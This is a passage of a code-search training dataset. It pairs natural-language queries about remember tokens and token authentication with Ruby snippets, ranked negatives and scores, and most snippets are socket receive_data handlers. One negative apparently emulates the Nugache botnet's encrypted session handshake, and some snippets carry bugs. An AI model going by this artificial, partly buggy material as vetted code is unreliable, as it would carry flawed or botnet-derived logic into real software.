"def receive_data(data)\n port, host = Socket.unpack_sockaddr_in(self.get_peername)\n # Trim trailing newlines \n @receiver.receive(host, port, data.chomp)\n end",
"def receive_data data\n #log.debug { \"Receiving data (#{data.size} bytes)\" }\n @lock.synchronize { @parser.parse(data) }\n rescue\n log.warn { \"Error handling data: #{data.hth}\" }\n p $!; puts *$@\n end",
"def receive_data(data)\n data.chomp!\n @@count = @@count + 1\n puts(\"Count : #{@@count} - Data : #{data}\")\n end",
"def receive_data(data)\n self.received_data += data\n process_data if data.end_with?(\"\\n\")\n end",
"def receive_data(data)\n @data_last_received_at = Time.now\n\n @parser.parse_data(data)\n end",
"def serve(socket)\n size = socket.recvfrom(3)\n payload = socket.recvfrom(size)\n payload.bdecode\n puts payload[0]\n end",
"def receive\n\t\t# send ready\n\t\tputs @ready_word\n\n\t\t# initialial sequence\n\t\thexsize = 0\n\t\twhile cmd = get_line\n\t\t\tcase cmd[0]\n\t\t\twhen CMDSTART\n\t\t\t\tputs RSPSTART\n\t\t\twhen CMDVERSION\n\t\t\t\t# 12345678901234567890123456789012\n\t\t\t\t# \"enzi H1.0.5 \"\n puts sprintf(\"%-16s%c%-15s\", BOARD_NAME, DATA_TYPE, FIRM_VERSION)\n\t\t\twhen CMDSIZE # 'Sxxxx'\n\t\t\t\thexsize = cmd[1..-1].to_i(16)\n\t\t\t\tputs \"\"\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\traise \"Invalid command #{cmd.inspect}\"\n\t\t\tend\n\t\tend\n\n\t\t# receive and write application binary\n bin = ''\n binsize = (hexsize / 2).to_i\n while bin.size < binsize\n hex = get_line.strip\n 0.step(hex.size-1, 2) {|i|\n bin << (hex[i,2].to_i(16).chr)\n }\n puts \"#{bin.size * 2}/#{hexsize}\"\n end\n\n\t\t# check CRC16 checksum\n\t\tcrc = get_line\n # TODO: check\n # puts crc\n\n # Overwrite application binary file\n f = File.open(APPFILE, 'w+')\n bin.each_char {|b| f.putc b}\n f.flush\n f.close\n\n # notify completion\n puts crc\n delay(500)\n\n # software reset\n system_reset\n end",
"def handle_server\n \t\t\t\tcase @state\n \t\t\t\twhen :new\n if @data_buf.length >= 64\n \t\t\t\t\tb = @data_buf.slice!(0,64)\n \t\t\t\t\tb1 = @bot.rsakey.private_decrypt(b)\n if b1[16,32] == @aes_recv.key\n \t\t\t\t\treturn false unless b1[16,32] == @aes_recv.key\n \t\t\t\t\t@v = @aes_send.encrypt(\"1\\r\\n\")\n \t\t\t\t\tputs \"Session #{@id}: sending verify\" if @@debug\n \t\t\t\t\tsend_data @v\n \t\t\t\t\t@state = :recv_verify\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_verify\n \t\t\t\t\tputs \"Session #{@id}: receiving verify\" if @@debug\n if @data_buf.length >= 3\n b = @data_buf.slice!(0,3)\n \t\t\t\t\t# this isn't always true in the real Nugache traces, but without knowing the\n \t\t\t\t\t# underlying protocol, this is the best I can do\n if b == @v\n \t\t\t\t\tputs \"Session #{@id}: ready\" if @@debug\n \t\t\t\t\t@state = :connected\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :connected\n \t\t\t\t\tputs \"Session #{@id}: receiving block\" if @@debug\n b = @data_buf\n @data_buf = \"\"\n @data_suf = false\n # TODO: how are we going to handle partial bundles of data?\n if b.length > 0\n out = @aes_recv.decrypt(b)\n @bot.process(out, @peer)\n end\n \t\t\t\tend\n \t\t\tend",
"def receive_data(data)\n @in << data\n send(@state)\n rescue => e\n handle_error(e)\n end",
"def receive_data(data)\n # a large json-rpc message may be split over multiple packets\n # (invocations of receive_data)\n # and multiple messages may be concatinated into one packet\n @data += data\n while extracted = JSONParser.extract_json_from(@data)\n msg, @data = *extracted\n @rjr_node.send(:handle_message, msg, self) # XXX private method\n end\n end",
"def receive_data data\n sender_port_ip_array = get_peername[2,6].unpack \"nC4\"\n sender_ip = sender_port_ip_array[1..4].join('.')\n sender_port = sender_port_ip_array[0]\n sender_addr = \"#{sender_ip}:#{sender_port}\"\n puts \"From #{sender_addr} received: #{data.to_hex}\" if $debug\n\n $remotes.each { |r|\n unless r[2] == sender_addr ## do not echo data back to sender\n # $stdout.print \"*\" unless $debug\n # $stdout.flush unless $debug\n puts \"Relaying #{data} to #{r[2]}\" if $debug\n send_datagram data, r[0], r[1]\n end\n }\n\n\n\n end",
"def server\n\[email protected] do |server|\n\t\tputs \"Receiving...\"\n\t\tpacket, address = server.recvfrom(512)\n\t\t\n\t\tputs \"Received: #{packet} from #{address}\"\n\tend\nend",
"def as_received\n raw_data\n end",
"def receive_data(data)\n log \"<< #{data.size}\"\n @write_to_channel << data\n end",
"def receive_data(data)\n @buffer += data\n\n until @buffer.empty?\n\n eol = @buffer.index(CRLF)\n \n # Include IMAP literals on the same line.\n # The format for a literal is \"{8}\\r\\n........\"\n # so the size would be at the end of what we thought was the line.\n # We then skip over that much, and try looking for the next newline.\n # (The newline after a literal is the end of the actual line,\n # there's no termination marker for literals).\n while eol && @buffer[0, eol][/\\{(\\d+)\\}\\z/]\n eol = @buffer.index(CRLF, eol + CRLF.size + $1.to_i)\n end\n\n # The current line is not yet complete, wait for more data.\n return unless eol\n\n line = @buffer.slice!(0, eol + CRLF.size)\n\n receive_response parse(line)\n end\n end",
"def read\n @socket.read(1)\n end",
"def receive_data data\n begin\n # log 'receive_data', data\n @buf << data\n\n while frame = Frame.parse(@buf)\n log 'receive', frame\n process_frame frame\n end\n rescue Exception => e\n logger.exception(\"[amqp] Failed processing frame, closing connection\", e, :trace) unless ENV['IGNORE_AMQP_FAILURES']\n failed\n end\n end",
"def receive_data(data)\n (@buffer ||= '') << data\n while index = @buffer.index(DELIM)\n begin\n line = @buffer.slice!(0, index+2)\n process_cmd line\n rescue ParserError\n @buffer[0...0] = line\n break\n end\n end\n end",
"def recv_io(*rest) end",
"def receive_data(data)\n data = UTF8Cleaner.clean(data)\n begin\n Skates.logger.debug {\n \"RECEIVED : #{data}\"\n }\n @parser.push(data) \n rescue\n Skates.logger.error {\n \"#{$!}\\n#{$!.backtrace.join(\"\\n\")}\"\n }\n end\n end",
"def receive_stream_data(data)\n begin\n @buffer.extract(data).each do |line|\n parse_stream_line(line)\n end\n @stream = ''\n rescue => e\n receive_error(\"#{e.class}: \" + [e.message, e.backtrace].flatten.join(\"\\n\\t\"))\n close_connection\n return\n end\n end",
"def receive_data(data)\n puts \"-- From #{@player || @connector} #{ip_address}:\"\n puts \"-- \" + data.inspect.yellow\n \n benchmark do\n if @player\n @player.handle_input(data)\n else\n @connector.handle_input(data)\n end\n end\n # rescue => e\n # # We want errors to be raised when Aeon is in test mode.\n # Aeon.mode == :test ? raise(e) : Aeon.logger.error(e)\n end",
"def fetch(length)\n # This callback should be set just once, yielding with the parsed message\n @driver.on(:message) { |msg| yield(msg.data.pack('C*')) } if @driver.listeners(:message).length.zero?\n\n data = @sock.read_nonblock(length) # Read from the socket\n @driver.parse(data) # Parse the incoming data, run the callback from above\n end",
"def run_gets(conn)\n return if not @need_gets\n @log.debug \"run_gets starts\"\n received_count = 0\n conn.get_data_received do |msg|\n received_count += 1\n @log.debug(\"-\" * 20)\n @log.debug \"Message Number #{received_count}:\"\n #\n @log.debug(\"Type: #{msg.class}\")\n @log.debug(\"Command: #{msg.command}\")\n @log.debug(\"Header Information:\")\n msg.header.each {|k,v|\n @log.debug(\"#{k}=#{v}\")\n }\n @log.debug(\"Body:\")\n @log.debug(\"#{msg.body}\")\n end\n @log.debug \"run_gets done\"\n if received_count > 0\n #\n # We are done!\n #\n conn.disconnect()\n EventMachine::stop_event_loop() \n end\n # Otherwise, wait for message arrival.\nend",
"def on_any_receive()\n Thread.new() do\n begin\n if self.data_readed.size>0\n buff,self.data_readed=self.data_readed,strempty\n yield(buff)\n end\n loop do\n data=(self.recv(64*1024) rescue nil)\n data && data.size>0 ? yield(data) : break\n end\n rescue Exception => e\n $stdout.puts \"#{e} :\\n #{e.backtrace.join(\"\\n \")}\"\n end\n close rescue nil\n end\n end",
"def send_recv( request )\n connection.write( request.to_protocol )\n line = connection.readline\n resp = KJess::Response.parse( line )\n resp.read_more( connection )\n raise resp if resp.error?\n return resp\n end",
"def proxy_receive_data data\n @proxystatus = :headers if !@proxystatus\n \n if @proxystatus == :headers\n # First gather the headers\n @proxybuffer += data\n if @proxybuffer =~ /\\r\\n\\r\\n/\n\n # Detected end of headers\n header_data = @proxybuffer[0...($~.begin(0))]\n @proxybuffer = @proxybuffer[($~.end(0))..-1]\n\n # Try the webrick parser\n headers = {}\n header_lines = header_data.split(/[\\r\\n]+/)\n status = header_lines[0]\n header_lines[1..-1].each do |line|\n h = line.split(/:\\s*/, 2)\n headers[h[0]] = h[1]\n end\n \n # The rest of the incoming connection \n @proxystatus = :stream\n end\n end\n \n if @proxystatus == :stream\n send_data header_lines[0] + \"\\r\\n\"\n send_data \"Content-Type: \" + headers['Content-Type'] + \"\\r\\n\"\n send_data \"Content-Length: \" + headers['Content-Length'] + \"\\r\\n\"\n send_data \"\\r\\n\"\n send_data @proxybuffer\n\n # Any further data is piped through \n EM::enable_proxy proxy_conn, self, 1024*10\n end\n end",
"def receive_data(data)\n data.split(\"\\n\").each do |d|\n @test_controller.notify({source: \"statsd-router\", text: d})\n end\n end",
"def read()\r\n return @socket.read(1)\r\n end",
"def receive_data(buf)\n @framer << buf\n while @framer.complete?\n num, packet = @framer.next_buffer\n receive_packet(num, packet)\n end\n end",
"def listen\n @response = Thread.new do\n loop {\n msg = JSON.parse(@server.gets.chomp)\n puts sprintf(\"msg in listen: %s\\n\", msg.inpect)\n if msg[0].string?\n puts msg[0]\n elsif msg[0] == 0x00\n if msg[1] == \"CLIST\"\n puts msg[1].to_s.gsub!(/[\"\\[\\]]/,'')\n elsif msg[1] == \"DISCONNECT\"\n puts \"disconnecting\"\n exit(0)\n end\n elsif msg[0] == 0x01\n puts \"Access denied, wrong password or no such client_ID\"\n exit(0)\n elsif msg[0] == 0x02\n puts \"Duplicate client_ID\"\n exit(0)\n end\n }\n end\n end",
"def read_interface \n \"\"\" Read messages from node(s) \"\"\"\n puts connected?\n arr = []\n arr2 = []\n\t str = String.new\n\t #data = arr[0]\n\t message = ZMQ::Message.create()\n\t #buffer = String.new\n\n Logger.instance.info(\"Waiting data...\")\n rc = @read_socket.recv_multipart(arr, arr2)\n #rc = @read_socket.recvmsg(message, flag = ZMQ::DONTWAIT)\n puts rc\n if rc == -1\n return nil\n end\n data = arr2[0].copy_out_string()\n data2 = data.dup()\n data[1] = data2[4]\n data[2] = data2[3]\n data[3] = data2[2]\n data[4] = data2[1]\n\t Logger.instance.info(data)\n read_interface_base(data)\n return data\n end",
"def receive_data p_data\n if p_data[:data][:worker_method] == :exit\n exit\n end\n case p_data[:type]\n when :request then process_request(p_data)\n when :response then process_response(p_data)\n when :get_result then return_result_object(p_data)\n end\n end",
"def receive_data data\n if @telnet_options[:telnet_mode]\n c = @input_rest + data\n se_pos = c.rindex(/#{IAC}#{SE}/no) || 0\n sb_pos = c.rindex(/#{IAC}#{SB}/no) || 0\n if se_pos < sb_pos\n buf = preprocess_telnet(c[0 ... sb_pos])\n @input_rest = c[sb_pos .. -1]\n\n elsif pt_pos = c.rindex(\n /#{IAC}[^#{IAC}#{AO}#{AYT}#{DM}#{IP}#{NOP}]?\\z/no) ||\n c.rindex(/\\r\\z/no)\n\n buf = preprocess_telnet(c[0 ... pt_pos])\n @input_rest = c[pt_pos .. -1]\n\n else\n buf = preprocess_telnet(c)\n @input_rest.clear\n end\n else\n # Not Telnetmode.\n #\n # We cannot use #preprocess_telnet on this data, because that\n # method makes some Telnetmode-specific assumptions.\n buf = @input_rest + data\n @input_rest.clear\n unless @telnet_options[:bin_mode]\n if pt_pos = buf.rindex(/\\r\\z/no)\n buf = buf[0 ... pt_pos]\n @input_rest = buf[pt_pos .. -1]\n end\n buf.gsub!(/#{EOL}/no, \"\\n\")\n end\n end\n\n # in case only telnet sequences were received\n return if buf.empty?\n\n # append output from server to input buffer and log it\n @input_buffer << buf\n log_output buf, true\n\n # cancel the timer for wait_time value because we received more data\n if @wait_time_timer\n @wait_time_timer.cancel\n @wait_time_timer = nil\n end\n\n # we only need to do something if there's a connection state callback\n return unless @connection_state_callback\n\n # we ensure there's no timer running to check the input buffer\n if @check_input_buffer_timer\n @check_input_buffer_timer.cancel\n @check_input_buffer_timer = nil\n end\n\n if @input_buffer.size >= 100_000\n ##\n # if the input buffer is really big\n #\n\n # We postpone checking the input buffer by one second because the regular\n # expression matches can get quite slow.\n #\n # So as long as data is received (continuously), the input buffer is not\n # checked. It's only checked one second after the whole output has been\n # received.\n @check_input_buffer_timer = EventMachine::Timer.new(1) do\n @check_input_buffer_timer = nil\n check_input_buffer\n end\n else\n ##\n # as long as the input buffer is small\n #\n\n # check the input buffer now\n check_input_buffer\n end\n end",
"def process_data\n unless @state.include?(:rcpt)\n send_data \"503 Operation sequence error\\r\\n\"\n else\n succeeded = proc {\n send_data \"354 Send it\\r\\n\"\n @state << :data\n @databuffer = []\n }\n failed = proc {\n send_data \"550 Operation failed\\r\\n\"\n }\n\n d = receive_data_command\n\n if d.respond_to?(:callback)\n d.callback(&succeeded)\n d.errback(&failed)\n else\n (d ? succeeded : failed).call\n end\n end\n end",
"def receive_binary_data data\n # no-op\n end",
"def receive_data(data)\n\[email protected] if (@buffer.size + data.size) > 1000\n\t@buffer += data\n\n\tif @buffer.unpack('C4Nn2N4C16C192NC*').include?($DHCP_MAGIC)\n\t process_message(@buffer.dup)\n\t @buffer.clear\n\tend\n end",
"def read()\n\tloop {\n\t\t#puts (\"read list in : #{$reading}\")\n\t\trs, ws, es = IO.select($reading, nil, nil, 1)\n\t\tif (rs != nil)\n\t\t\trs.each { |r|\n\t\t\t\tmsg = r.gets\n\t\t\t\t#only reads in messages sent from a socket\n\t\t\t\tif (!(msg == nil))\n\t\t\t\t\tmsg_info = msg.split(\" \")\n\t\t\t\t\t#if msg_info[0] != \"LSP\"\n\t\t\t\t\t#puts(\"just recieved a message #{msg}\")\n\t\t\t\t\t#end\n\t\t\t\t\t#puts (\"just recieved a message #{msg}\")\n\t\t\t\t\tparseMsg(msg)\t\t\t\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\t\t\n\t}\nend"
] | [
"0.7653938",
"0.7651687",
"0.765021",
"0.765021",
"0.7572085",
"0.7540905",
"0.7391688",
"0.73495215",
"0.7322522",
"0.7313851",
"0.7265806",
"0.7241606",
"0.71805114",
"0.7168161",
"0.7130244",
"0.706215",
"0.70518416",
"0.70425093",
"0.70286465",
"0.69944966",
"0.6984717",
"0.696206",
"0.6956286",
"0.6941083",
"0.69344676",
"0.6899544",
"0.6896555",
"0.6894803",
"0.6894803",
"0.688214",
"0.6881247",
"0.6870879",
"0.68664277",
"0.6863592",
"0.6860108",
"0.6858411",
"0.6842148",
"0.6833749",
"0.683289",
"0.6832652",
"0.6815095",
"0.6812728",
"0.680763",
"0.6792799",
"0.6759269",
"0.6759261",
"0.6749154",
"0.67396784",
"0.67364776",
"0.6731907",
"0.6715111",
"0.67150235",
"0.67084986",
"0.6704042",
"0.6697552",
"0.66767687",
"0.6676685",
"0.66663915",
"0.6662451",
"0.6646509",
"0.6634871",
"0.66203",
"0.66156256",
"0.6608975",
"0.659348",
"0.65861917",
"0.65811396",
"0.65547055",
"0.65545225",
"0.6551185",
"0.6532",
"0.65109056",
"0.6505516",
"0.6500485",
"0.6491627",
"0.648582",
"0.6482263",
"0.6464868",
"0.6461789",
"0.6442458",
"0.6437892",
"0.64235514",
"0.6417299",
"0.6415158",
"0.6405498",
"0.639362",
"0.639218",
"0.6391704",
"0.63833857",
"0.6377929",
"0.63583595",
"0.63568413",
"0.6356737",
"0.63420725",
"0.6336258",
"0.6326891",
"0.6312885",
"0.630731",
"0.6299966",
"0.6286346"
] | 0.72990406 | 10 |
Generate a remember token | def remember
self.remember_token = User.newtoken
update_attribute(:remember_digest, User.digest(remember_token))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_remember_token(token = SecureRandom.urlsafe_base64)\n self.remember_token = Digest::SHA1.hexdigest(token)\n end",
"def create_remember_token\n # Using the urlsafe-base64 method from the SecureRandom module\n # in the Ruby standard library, creates a Base64 string safe \n # for use in URIs, hence safe for use in cookies.\n # Returns a random string of length 16 composed of A-Z, a-z, 0-9,\n # - and _.\n self.remember_token = SecureRandom.urlsafe_base64\n end",
"def new_remember_token_token\n #It's only in Ruby 1.9\n #see https://github.com/rails/rails/commit/b3411ff59eb1e1c31f98f58f117a2ffaaf0c3ff5\n SecureRandom.base64.gsub(\"/\",\"_\").gsub(/=+$/,\"\")\n end",
"def create_remember_token\n self.remember_token = SecureRandom.urlsafe_base64\n end",
"def create_remember_token\n self.remember_token = SecureRandom.urlsafe_base64\n end",
"def create_remember_token\n self.remember_token = SecureRandom.urlsafe_base64\n end",
"def create_remember_token\n self.remember_token = SecureRandom.urlsafe_base64\n end",
"def create_remember_token \n self.remember_token = SecureRandom.urlsafe_base64\n end",
"def create_remember_token \n\t\t\tself.remember_token = SecureRandom.urlsafe_base64\n\t\tend",
"def create_remember_token\n self.remember_token = SecureRandom.urlsafe_base64\n end",
"def create_remember_token\r\n \t\tself.remember_token = SecureRandom.urlsafe_base64\r\n \tend",
"def generate_remember_token_digest!\n remember_token = _generate_token(:remember)\n update_column(:remember_token_digest, SCrypt::Password.create(remember_token))\n remember_token\n end",
"def create_remember_token\n remember_token = User.hash(User.new_remember_token)\n end",
"def create_remember_token\r\n #Creates the token\r\n self.remember_token = SecureRandom.urlsafe_base64\r\n #note: the capital \"R\" here, and caps in general MATTER\r\n \r\n #w/o the \"self\" assignment, would create local variable called\r\n #remember_token, using self ensures that assignment sets the\r\n #user's remember_token in the database with its other attributes\r\n #when the user is saved\r\n \r\n #SecureRandom is a module in the Ruby standard library that\r\n #creates a Base64 string safe for us in URIs (and therefore\r\n #cookies), it returns a random 16 character string, each character\r\n #has 64 possibilities\r\n end",
"def make_token\n secure_digest(Time.now, (1..10).map{ rand.to_s })\n end",
"def create_remember_token\n remember_token = User.hash(User.new_remember_token)\n end",
"def create_remember_token\n remember_token = User.hash(User.new_remember_token)\n end",
"def create_remember_token\n remember_token = User.hash(User.new_remember_token)\n end",
"def create_remember_token\n\t\tself.remember_token = Client.encrypt(Client.new_remember_token)\n\tend",
"def create_remember_token\n\t\tremember_token = User.hash(User.new_remember_token)\n\tend",
"def remember_token; end",
"def generate_token\n self.perishable_token = Digest::MD5.hexdigest(\"#{Time.now}\")\n end",
"def create_remember_token\n\t\tself.remember_token = self.class.hash(User.new_token)\n\tend",
"def generate_token\n token_gen = SecureRandom.hex\n self.token = token_gen\n token_gen\n end",
"def create_remember_token\n\t self.remember_token = User.encrypt(User.new_remember_token)\n\t end",
"def create_remember_token\n\t self.remember_token = User.encrypt(User.new_remember_token)\n\t end",
"def generate_token!\n self.token = SecureRandom.hex\n save!\n end",
"def create_remember_token\n self.remember_token = User.digest(User.new_remember_token)\n end",
"def create_remember_token\n self.remember_token = User.encrypt(User.new_remember_token)\n end",
"def create_remember_token\n self.remember_token = User.new_token.to_s\n self.remember_digest = User.digest(remember_token)\n end",
"def create_remember_token\n self.remember_token = User.encrypt(User.new_remember_token)\n end",
"def create_remember_token\n \t\tself.remember_token = User.encrypt(User.new_remember_token)\n \tend",
"def generate_token\n self.token ||= Base64.urlsafe_encode64(SecureRandom.random_bytes(12))\n end",
"def make_token\r\n # From the restful-authentication plug-in\r\n args = [ Time.now, (1..10).map{ rand.to_s } ]\r\n Digest::SHA1.hexdigest(args.flatten.join('--'))\r\n end",
"def generate_token\n token_hash = SecureRandom.hex\n token_hash.force_encoding('utf-8')\n access_tokens.create(token: token_hash, token_expire: Time.now + DEFAULT_TOKEN_EXPIRE)\n end",
"def generate_token\n token_hash = SecureRandom.hex\n token_hash.force_encoding('utf-8')\n access_tokens.create(token: token_hash, token_expire: Time.now + DEFAULT_TOKEN_EXPIRE)\n end",
"def remember\n new_tok = User.new_token\n # Convert times to System.nanoTime(), Java style\n time = (Time.now.to_f * 10**9).to_i.to_s\n remember_hash[time] = Encrypt::Password.createHash(new_tok)\n update_attributes! remember_hash: remember_hash\n new_tok\n end",
"def remember\n self.remember_token_expires_at = 1.weeks.from_now.utc\n self.remember_token = Cryptography.encrypt_with_salt(\n SecureRandom.hex(10),\n remember_token_expires_at)\n save(false)\n end",
"def create_remember_token\n self.remember_token = User.digest(User.new_remember_token)\n end",
"def generate_login_token!\n new_login_token = SecureRandom.hex(24)\n salt = SecureRandom.hex(24)\n hash = token_hash(new_login_token, salt)\n\n update_attributes(:login_token => concatenate_token_record(hash, salt), :login_token_expires_at => 1.week.from_now)\n new_login_token\n end",
"def generate_token\n\t\tself.token = SecureRandom.hex\n end",
"def generate_token\n SecureRandom.hex(10)\n end",
"def generate_token\n self.token = secure_digest(Time.now, candidate_id)\n end",
"def create_remember_token\n self.remember_token = User.hash(User.new_remember_token)\n end",
"def create_remember_token\n self.remember_token = User.hash(User.new_remember_token)\n end",
"def create_remember_token\n self.remember_token = User.hash(User.new_remember_token)\n end",
"def token_generate\n res = call('auth.token_generate')\n\n return unless res || res['token']\n\n res['token']\n end",
"def generate_token\n SecureRandom.hex(64)\nend",
"def generate_token\n self.token = loop do\n random_token = SecureRandom.base58(UID_LENGTH)\n break random_token unless Session.exists?(token: random_token)\n end\n end",
"def generate_token\n self.token = SecureRandom.hex if new_record?\n end",
"def generate_token\n self.token = SecureRandom.base64(64)\n end",
"def generate_token\n self.token = SecureRandom.urlsafe_base64\n end",
"def generate_token\n self.token = UniqueToken.generate\n end",
"def generate_token\n SecureRandom.urlsafe_base64.tap do |token|\n logger.debug \"Generated token #{token}\"\n end\n end",
"def generate_token\n self.token ||= SecureRandom.hex(16)\n end",
"def generate_authentication_token\n SecureRandom.hex(8)\n end",
"def token\n @token ||= \"%x-%s\" % [ Time.now.to_i, SecureRandom::hex(4) ]\n end",
"def generate_token\n self.update({:token => SecureRandom.hex})\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def generate_token(pass, salt)\n Digest::SHA256.hexdigest(pass + salt)\n end",
"def create_token(opts = {})\n self.token = Digest::SHA256.hexdigest(\n Time.now.to_s + Rails.application.secrets.salt + email\n )\n save if opts[:save] == true\n end",
"def generate_token\n @raw_token = Doorkeeper::OAuth::Helpers::UniqueToken.generate\n secret_strategy.store_secret(self, :token, @raw_token)\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def generate_authentication_token\n self.auth_token = User.new_token\n\t\t\tself.auth_expires_at = Time.now + 240.hours\n\tend",
"def new_token\n \t\tSecureRandom.urlsafe_base64\n \tend",
"def new_token\n \t SecureRandom.urlsafe_base64\n \tend",
"def generate_token\n #Token.generate_token(self.id)\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def generate_auth_token\n begin\n token = SecureRandom.hex\n end while AuthToken.exists?(auth_token: token)\n self.auth_tokens.create(auth_token: token)\n token\n end",
"def generate_token\n account = Authentication::Account.find_by(email: username)\n reset_hash = reset_password(account, expires_at || Time.now + 24.hours)\n {'success' => true, 'reset_password_token' => reset_hash['raw_token'], 'expires_at' => reset_hash['expires_at']}\n end",
"def generate_token\n self.token = Digest::MD5.hexdigest(\"PersonRecordToken#{email}#{Rails.application.config.try(:hash_salt)}\")[0..254]\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def generate_random_token\n SecureRandom.hex(15)\n end",
"def generate_token (id, number_of_days)\n JWT.encode({ :user_id => id, :expires => expires_in(number_of_days) }, 'somesecrethere')\n end",
"def new_token\n\t\tSecureRandom.urlsafe_base64\n\tend",
"def generate_token\n self.token = custom_token.presence || SecureRandom.hex(3)\n self.custom_token = nil\n generate_token if AliasedLink.exists?(token: token)\n end",
"def expired_token_generator(nick_id)\n JsonWebToken.encode({ nick_id: nick_id }, (Time.now.to_i - 10))\n end",
"def new_token\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def new_token\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def new_token\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def new_token\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def new_token\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def generate_token\n self.email_token = SecureRandom.hex(3)\n self.mobile_token = SecureRandom.hex(3)\n end"
] | [
"0.84411263",
"0.8207586",
"0.81466025",
"0.81121475",
"0.81121475",
"0.8093326",
"0.80880356",
"0.80439264",
"0.7999621",
"0.79689527",
"0.7939218",
"0.7852527",
"0.7823208",
"0.78136426",
"0.7801064",
"0.7775022",
"0.7775022",
"0.7775022",
"0.7718073",
"0.7711839",
"0.76859176",
"0.7669419",
"0.7619446",
"0.7614069",
"0.7573564",
"0.7573564",
"0.7563481",
"0.7561014",
"0.7553804",
"0.7543943",
"0.75388604",
"0.75364476",
"0.7515001",
"0.75135094",
"0.74799925",
"0.74799925",
"0.74795663",
"0.7473729",
"0.74645114",
"0.74638987",
"0.7456638",
"0.74544746",
"0.7448725",
"0.744013",
"0.744013",
"0.744013",
"0.74271935",
"0.74207217",
"0.74179626",
"0.7399999",
"0.7399808",
"0.7360601",
"0.73537546",
"0.73514354",
"0.73497623",
"0.7335494",
"0.7334396",
"0.73294365",
"0.7308098",
"0.7308098",
"0.7308098",
"0.72764957",
"0.7253079",
"0.7251408",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72415024",
"0.72412753",
"0.7241078",
"0.7232578",
"0.72300935",
"0.7225985",
"0.7211647",
"0.7211309",
"0.72083646",
"0.72059727",
"0.72059727",
"0.72059727",
"0.72026724",
"0.7175573",
"0.7174143",
"0.7168345",
"0.7168139",
"0.71469986",
"0.71469986",
"0.71469986",
"0.71469986",
"0.71469986",
"0.7141659"
] | 0.0 | -1 |
Check if is authenticated with token | def authenticated?(token)
return false if (!remember_digest)
BCrypt::Password.new(remember_digest).is_password?(token)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def authenticate_token\n @is_authenticated = false\n if request.headers[\"TOKEN\"]\n if request.headers[\"TOKEN\"] == \"AppDipre\"\n @is_authenticated = true\n end\n end\n end",
"def authenticate_token\n @is_authenticated = false\n if request.headers[\"TOKEN\"]\n if request.headers[\"TOKEN\"] == \"AppDipre\"\n @is_authenticated = true\n end\n end\n end",
"def authenticated?\n @auth_token =~ /^.*$/\n end",
"def check_token\n input_token = request.headers['X-Auth-Token'] || params[:token]\n return unless input_token\n\n token = AuthenticationToken.find_by(token: input_token)\n return unless token\n\n # Count token usage\n token.inc(number_of_use: 1)\n # Update the updated_at because inc doesn't do it\n token.set(updated_at: Time.now.getlocal)\n\n # Sign in\n sign_in token.user\n end",
"def token_authenticated?\n !!@access_token\n end",
"def token_authenticated?\n !!@access_token\n end",
"def check_token\n @usuario = Credentials.check_token(authorization: request.headers[\"Authorization\"])\n end",
"def token_authenticated?\n !!access_token\n end",
"def is_authorized?\n !!token && !token.expired?\n end",
"def is_authorized?\n !!token && !token.expired?\n end",
"def authenticated_with_token?(token)\n return false if token.nil?\n token == remember_digest\n end",
"def check_auth_token\n token = decoded_auth_token\n render json: { error: 'Not Authorized' }, status: :unauthorized unless token\n end",
"def valid_for_token_auth?\n token_authenticatable? && auth_token.present? && with_authentication_hash(:token_auth, token_auth_hash)\n end",
"def authenticated?\n !!@access_token\n end",
"def authorized?\n !session[:token].nil?\n end",
"def check_authenticate_user\n if request.headers[:token].present?\n @auth_token = AuthToken.find_by(token: request.headers[:token])\n @current_user = auth_token.user if @auth_token.present?\n unless @auth_token && @current_user\n error_response_with_obj(HTTP_UNAUTHORIZED[:code], \"Invalid Authentication token\")\n end\n else\n error_response_with_obj(HTTP_UNAUTHORIZED[:code], \"Invalid Authentication token\")\n end\n end",
"def authenticate_token\n render_401 if @token.blank? || [email protected]?\n end",
"def authenticated?\n not @access_token.nil?\n end",
"def authenticated?(token)\n hex_encrypt(token) == remember_token\n end",
